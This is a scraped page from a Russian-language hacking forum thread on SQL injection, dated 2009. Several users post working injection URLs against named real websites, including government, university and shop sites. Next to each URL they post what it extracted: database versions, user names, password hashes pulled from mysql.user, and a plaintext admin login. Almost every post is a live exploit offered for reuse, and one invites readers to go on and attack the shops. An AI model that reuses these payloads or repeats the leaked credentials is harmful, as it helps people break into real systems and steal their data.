SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    565
    Likes Received:
    309
    Reputations:
    27
    boiteaoutils.cidem.org PageRank - 6
    PHP:
    http://boiteaoutils.cidem.org/produits.php?theme=-2+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6+--+
    4.0.25-standard-log:cidemoutils@10.0.62.118:cidemoutils

    www.turbazar.ru - PageRank - 5 ТиЦ -300 вывод в титле

    PHP:
    http://www.turbazar.ru/index.php?s=3&c=12&m=46&id_hotel=29+union+select+1,2,concat_ws(0x3A,@@version,user(),database())+--+
    Версия : 5.0.67
    Юзер : grandtour@194.87.13.136
    База : grandtour

    PHP:
    http://www.turbazar.ru/index.php?s=3&c=12&m=46&id_hotel=29+union+select+1,2,concat_ws(0x3A,user,password,host,file_priv,user())+from+mysql.user+--+
    grandtour:*F28B6D83F6F364EE8B7B69BE4113813DF72EAD96:80.84.119.24:Y:grandtour@194.87.13.136

    В базе есть пару шопов , ну дальше сами.
     
    #7981 AkyHa_MaTaTa, 27 Feb 2009
    Last edited: 27 Feb 2009
  2. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    570
    Likes Received:
    86
    Reputations:
    11
    http://hembar.ru//index.php?option=com_assortment&task=view&id=1{sqlinj}

    Database Version: 5.0.45-log
    Database name: hembar
    User name: root@localhost

    !!!FILE_PRIV=YES!!!
     
  3. Snap

    Snap Elder - Старейшина

    Joined:
    5 Feb 2007
    Messages:
    61
    Likes Received:
    33
    Reputations:
    -4
    Санкт-Петербургский Английский клуб

    User: engclub9_akdb@v15.va
    Database: engclub9_akdb
    Version: 4.0.27-max-log
     
  4. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    398
    Likes Received:
    152
    Reputations:
    19
    gov:
    Code:
    http://www.fo1.dswd.gov.ph/articledetails.php?id=-273+union+select+1,2,concat(user,0x3a,password),4,5,6+FROM+mysql.user
    
    http://www.shandongbusiness.gov.cn/public/zhuanti/kxfzg/index_ok2.php?id=-33+union+select+1,concat(user,0x3a,password),3,4,5,6+FROM+mysql.user
    
    http://support.aide.gov.tw/sub_page_index.php?c_id=35&c_parentid=22&c_rootid=-5+union+select+1,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14+from+mysql.user
    И:

    Code:
    http://web272.login-1.hoststar.at/mambo/index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+mos_users
    
    http://www.tsv-kelbachgrund.net/wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
    
    http://mobefree.ru/wap/wapmain.php?option=news&action=link&id=-19141+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
    
    http://www.toalgenclik.com/wap/wapmain.php?option=onews&action=cat&id=-1+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
    
    http://www.mazdaeff.net/wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
    
    http://www.taxibalk.net/wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+mos_users+limit+0,1--
    
    http://gozopolitan.org/wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
    
    http://www.abilieve2005.de/mambo/index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+mos_users
     
    #7984 ph1l1ster, 27 Feb 2009
    Last edited by a moderator: 27 Feb 2009
  5. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://community.realitytvworld.com/gallery/showgallery.php?cat=-1+union+select+1,concat(0x3a3a,concat_ws(0x3a3a,username,password,icq,email)),3+from+ppusers+limit+0,1--

    login: Admin
    pass:02b2ea2e07bf23853ee3b1c3798b5b0c(не подбрутился)

    буржуйская куйня. ипическое количество юзеров
     
  6. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    412
    Reputations:
    256
    Pagerank: 5
    тИЦ: 1200


    Code:
    http://www.etver.ru/lenta/index.php?newsid=-1+union+select+1,2,3,concat_ ws(0x3a,version(),database(),user()),5,6,7,8,9--
    Database Version : 4.1.25-log
    Database name : etver
    User name : etver@localhost


    ----------------------------------------#

    Pagerank: 4
    тИЦ: 700


    Code:
    http://www.horseworld.ru/?news=-1+union+select+1,2,concat _ws(0x 3a,version(),database(),user()),4,5,6--
    Database Version : 5.1.22-rc
    Database name : horseworld
    User name : horseworld1@89.111.191.34
     
    #7986 f1ng3r, 27 Feb 2009
    Last edited: 27 Feb 2009
    1 person likes this.
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.hellokids.ro/produse/imbracaminte-copii/rochii/fete/1/3/pagina1.html?varsta=1+AND+ASCII(SUBSTRING((select+version() ),1,1))>x--

    x=53,46,48,46,54,55,45,99,111,109,109,117,110,105,116,121

    http://www.hellokids.ro/produse/imbracaminte-copii/rochii/fete/1/3/pagina1.html?varsta=1+AND+ASCII(SUBSTRING((select+database() ),1,1))>x--

    x=104,101,108,108,111,107,105,100,115

    http://www.hellokids.ro/produse/imbracaminte-copii/rochii/fete/1/3/pagina1.html?varsta=1+AND+ASCII(SUBSTRING((select+user() ),1,1))>x--

    x=104,101,108,108,111,107,105,100,115,64,108,111,99,97,108,104,111,115,116


    Version : 5.0.67-community
    Database: hellokids
    User : hellokids@localhost
     
  8. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    565
    Likes Received:
    309
    Reputations:
    27
    www.aromat.ru PageRank - 5 ТиЦ - 450 (вывод в титле)
    PHP:
    http://www.aromat.ru/parfum/women_type.php3?tip=-3+union+select+concat_ws(0x3A,user(),@@version,database())+--+
    user() - aromat@192.168.26.101
    @@version - 5.0.60-log
    database() - aromat
     
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.reporterspecialdearges.ro/_articol/Singuratate-liberala-intr-un-judet-controlat-de-PSD-/1998/2+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()),0x71),0x71),2,3,4,5,6,7,8,9,10,11,12--/



    Database Version: 4.1.21-standard-log
    Database name: softpage_arges
    User name: softpage_erkro@localhost
     
    1 person likes this.
  10. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Mission Cataract USA
    Code:
    http://www.missioncataractusa.org/news.php?ax=v&n=9&id=9&nid=-3+union+select+1,concat_ws(version(),user(),database()),3,4,5--
    версия/юзер/бд:

    Code:
    missionc_user@localhost4.1.22-standard-logmissionc_cms
    -----------------------------------------------------------
    The End!
     
  11. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    412
    Reputations:
    256
    Московская торгово-промышленная палата
    Pagerank: 6
    тИЦ: 1500


    Code:
    http://www.mostpp.ru/news.php?&id=-1+union+select+1,2,3,4,5,6,7,8,concat_ ws(0x3a ,version(),database(),user()),10,11,12,13,14,15--
    Database Version : 5.0.67
    Database name : mtpp
    User name : root@zvm5.host.ru


    В целях безопасности от разных дебилов которые дефейсят сайты палат Москвы и РФ, выкладывать админку я не стал.
     
    2 people like this.
  12. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.termomax.ro/subcateg/-153+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()),0x71),0x71)/*/Din_aluminiu/


    Database Version: 4.1.22-standard-log
    Database name: rter1702_termomax
    User name: rter1702_termoma@localhost
     
  13. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    398
    Likes Received:
    152
    Reputations:
    19
    Code:
    http://www.radiology.wisc.edu/newsContent.php?id=-189+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10
    
    http://nflrc.msu.edu/login/scripts/workshop.php?id=-189+union+select+1,2,3,concat(version(),0x3a,user(),0x3a,database()),5,6,7,8,9,10
    
    http://mulibraries.missouri.edu/about/adoptabook/after-details.php?id=-189+union+select+1,2,3,4,concat(version(),0x3a,user(),0x3a,database()),6,7,8+from+information_Schema.tables
     
    #7993 ph1l1ster, 27 Feb 2009
    Last edited by a moderator: 27 Feb 2009
  14. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.playcentre.org.nz/product.php?id=-1+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+admin+limit+0,1--
    логин/пасс:
    Code:
    Justine:purple
    ---------------------------------------------------------
    The End!
     
    1 person likes this.
  15. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.martinsgourmet.com/subproduct.php?id=-23+UNION+SELECT+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8&sub=Medium-Mild_Roasts



    Database Version: 5.0.75-community-log
    Database name: martinsg_gourmet
    User name: martinsg_user1@localhost
     
  16. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    565
    Likes Received:
    309
    Reputations:
    27
    www.stroyolymp.com Pr- 5 ТиЦ - 650
    PHP:
    http://www.stroyolymp.com/index.php?node=0&category=35+union+select+1,concat_ws(0x3A,user(),version(),database()),3,4,5,6,7,8,9,10,11+--+
    user():stroyoly@dix.hc.ru
    @@version:4.1.22
    datbase:wwwstroyolympcom

    www.scooter-club.ru Pr- 5 ТиЦ - 300
    PHP:
    http://www.scooter-club.ru/index.php?content=yes&page_id=-75+union+select+1,concat_ws(0x3A,user(),@@version,database())+--+
    user():scooterc_scooter@localhost
    @@version:4.1.22-standard-log
    datbase:scooterc_base

    webcat.info ТиЦ 1000 вывод в титле
    PHP:
    http://webcat.info/category/7687615'+union+select+concat_ws(0x3a,user(),version(),database())+--+/start/110/
    user():seonetsp@localhost
    @@version:5.0.45
    datbase:seonetsp_webcat
     
    #7996 AkyHa_MaTaTa, 28 Feb 2009
    Last edited: 28 Feb 2009
  17. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.edituraparalela45.ro/fictiune/detalii_carte.php?titluID=-1421+UNION+SELECT+1,convert(concat_ws(0x3a,version(),database(),user())+using+latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30&sess=8c6eb35615f6a055f8dd8ff63c7c7de1&uid=0



    Database Version: 5.0.18-log
    Database name: edituraparalela4
    User name: edituraparalela4@www1.linux.romtelecom.net.
     
  18. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    398
    Likes Received:
    152
    Reputations:
    19
    Code:
    http://etd.louisville.edu/view-etd.php?ID=-189+union+select+1,2,3,4,5,6,7,8,concat(version(),0x3a,user()),table_name,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables
    
    http://www.westga.edu/~distance/ojdla/search_results_id.php?id=-189+union+Select+1,2,3,concat(version(),0x3a,user()),5,6,7,8,9,10,11
    
    http://striweb.si.edu/esp/tesp/details.php?id=189+AND+ascii(lower(substring(version(),1,1)))=51
    
    http://athletics.gmc.edu/mtennis/article.php?id=-189+union+select+1,2,3,4,5,concat(user(),0x3a,version()),7,8,9,10,11
    
    http://policies.fiu.edu/record_profile.php?id=-189+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users+limit+0,1
    
    http://www.lssu.edu/hr/apjobsdesc.php?id=-189+union+Select+1,2,concat(version(),0x3a,user()),4,5,6,7,8,9
    
    http://www.nmsu.edu/~ucomm/database/show_details.php?ID=-189+union+select+1,2,user(),version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
    
    http://osulibrary.oregonstate.edu/research.php/detail.php?id=189+union+select+1,2,3,4,5,6,7,8,9,10,concat(version(),0x3a,user()),12,13,14,15--
    
    http://www.aua.edu/course.php?ID=-189+union+select+1,2,3,concat(user(),0x3a,version()),5,6,7,8,9
    
    http://www.sandiego.edu/news/presskit/detail.php?id=-189+union+select+1,2,3,concat(user(),0x3a,version()),5,6,7,8,9
     
    2 people like this.
  19. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,548
    Likes Received:
    1,244
    Reputations:
    273
    http://www.happyhome.ro/product.php?id=-31+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12/*



    Database Version: 4.0.18
    Database name: lafix
    User name: timega@main.dweb.ro
     
  20. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    565
    Likes Received:
    309
    Reputations:
    27
    www.tangomania.ru Pr - 3 ТиЦ 325
    PHP:
    http://www.tangomania.ru/articlesabout.php?uin=-1+union+select+1,2,3,concat_ws(0x3A,user(),version(),database()),5,6,7,8,9+--+
    user():tangomania@localhost
    @@version:4.1.22-log
    database():tangomania

    www.prist.ru Pr - 5 ТиЦ 850
    PHP:
    http://www.prist.ru/produce.php/card/sold.htm?id=453222985123123+union+select+1,2,3,4,5,concat_ws(0x3a,user(),@@version,database()),7,8,9,10,11,12,13,14,15,16+--+
    user() : prist_mysql@10.1.25.64
    @@version : 4.1.22
    database() : prist_db
     
Loading...
Thread Status:
Not open for further replies.